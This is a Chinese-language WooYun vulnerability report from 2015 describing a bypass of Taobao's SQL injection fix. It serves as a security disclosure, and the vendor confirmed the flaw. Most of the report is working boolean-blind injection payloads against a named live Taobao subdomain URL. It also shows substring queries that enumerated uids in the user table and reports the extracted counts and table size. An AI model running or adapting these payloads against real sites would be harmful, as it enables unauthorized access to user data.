漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-096830
漏洞标题:淘宝SQL注入修复绕过
相关厂商:淘宝网
漏洞作者: he1renyagao
提交时间:2015-02-11 17:54
修复时间:2015-03-28 17:56
公开时间:2015-03-28 17:56
漏洞类型:SQL注射漏洞
危害等级:低
自评Rank:5
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-02-11: 细节已通知厂商并且等待厂商处理中
2015-02-12: 厂商已经确认,细节仅向厂商公开
2015-02-22: 细节向核心白帽子及相关领域专家公开
2015-03-04: 细节向普通白帽子公开
2015-03-14: 细节向实习白帽子公开
2015-03-28: 细节向公众公开
简要描述:
淘宝修复注入的方式居然不是修改原代码。。。。
详细说明:
原来的注入语句是:
(SELECT+(CASE+WHEN+(3373=3373)+THEN+(21+and+1=1)+ELSE+1/(SELECT+0)+END)) and 1=1
绕过语句
(select 1 and 1=1) 即 and 1=1 --状态值200
(select 1 and 1=2) 即 and 1=2 --状态值302
其他跑数据的方式 依然使用上一次的方法
这次对数据分析了下,一些产品,价格,之类的item 是真实存在的。但是对user 这个表,数据一直不完整,有在怀疑这个表是你们故意做的蜜罐表
利用 http://pinliu.uz.taobao.com/ 站点,为什么利用这个站点呢,原因如下
http://pinliu.uz.taobao.com/theme/tejia/view/view_article.php?id=(select%201%20and%20subString((select%20uid%20from%20user%20limit%201,1),1,1)=0)
网页显示正常,文章内容显示正常。
而当访问
http://pinliu.uz.taobao.com/theme/tejia/view/view_article.php?id=(select%201%20and%20subString((select%20uid%20from%20user%20limit%201,1),1,1)=1)
网页显示正常,文章内容显示不正常。
也就是第一个用户的uid 的第一个字符为0
如果用其他站点则没有这个效果,不清楚具体内部逻辑是说明,为什么会造成这差异
以此方法跑了下数据 得到
and%20subString((select%20uid%20from%20user%20limit%201610,1),1,1)=0 大概有 1610人 uid 以 0 开头
and%20subString((select%20uid%20from%20user%20limit%201611,1),1,1)=1
and%20subString((select%20uid%20from%20user%20limit%203289,1),1,1)=1 大概有 3290-1611 uid 以1 开头 1679
and%20subString((select%20uid%20from%20user%20limit%203290,1),1,1)=2
and%20subString((select%20uid%20from%20user%20limit%205023,1),1,1)=2 大概有 5024-3290 以2开头 1734
and%20subString((select%20uid%20from%20user%20limit%205024,1),1,1)=3
and%20subString((select%20uid%20from%20user%20limit%206721,1),1,1)=3 大概有 6722-5024 以3 开头 1698
and%20subString((select%20uid%20from%20user%20limit%206722,1),1,1)=4
and%20subString((select%20uid%20from%20user%20limit%208398,1),1,1)=4
and%20subString((select%20uid%20from%20user%20limit%208399,1),1,1)=5
and%20subString((select%20uid%20from%20user%20limit%2010089,1),1,1)=5
and%20subString((select%20uid%20from%20user%20limit%2010090,1),1,1)=6
and%20subString((select%20uid%20from%20user%20limit%2011781,1),1,1)=6
and%20subString((select%20uid%20from%20user%20limit%2011782,1),1,1)=7
and%20subString((select%20uid%20from%20user%20limit%2013416,1),1,1)=7
and%20subString((select%20uid%20from%20user%20limit%2013417,1),1,1)=8
and%20subString((select%20uid%20from%20user%20limit%2015091,1),1,1)=8
and%20subString((select%20uid%20from%20user%20limit%2015092,1),1,1)=9
and%20subString((select%20uid%20from%20user%20limit%2016699,1),1,1)=9
and%20subString((select%20uid%20from%20user%20limit%2016700,1),1,1)=0 16700 一个循环
这个用户表的数据到 26392的时候就没了 修改的地方0-9跑了下,都没有文章内容
http://pinliu.uz.taobao.com/theme/tejia/view/view_article.php?id=(select%201%20and%20subString((select%20uid%20from%20user%20limit%2026392,1),1,1)=0)
因此猜测这个用户表的数据用户大概能有 26392个。
(如果上面的范围有误差,肯定是递增的,也就是
1%20and%20subString((select%20uid%20from%20user%20limit%2010089,1),1,1)=5
1%20and%20subString((select%20uid%20from%20user%20limit%2010090,1),1,1)=6
会变成
1%20and%20subString((select%20uid%20from%20user%20limit%2010090,1),1,1)=5
1%20and%20subString((select%20uid%20from%20user%20limit%2010091,1),1,1)=6
)
一开始我以为是蜜罐表,但是既然用户量有在增加,就应该不是蜜罐表,从用户量来看,也不是淘宝的一个级别的。会不会这店铺商家的用户呢? 你觉得呢? 我是觉得太少,不应该
漏洞证明:
..
修复方案:
。。。
版权声明:转载请注明来源 he1renyagao@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:5
确认时间:2015-02-12 11:41
厂商回复:
亲,感谢您的关注和支持,该漏洞我们正在修复!
最新状态:
暂无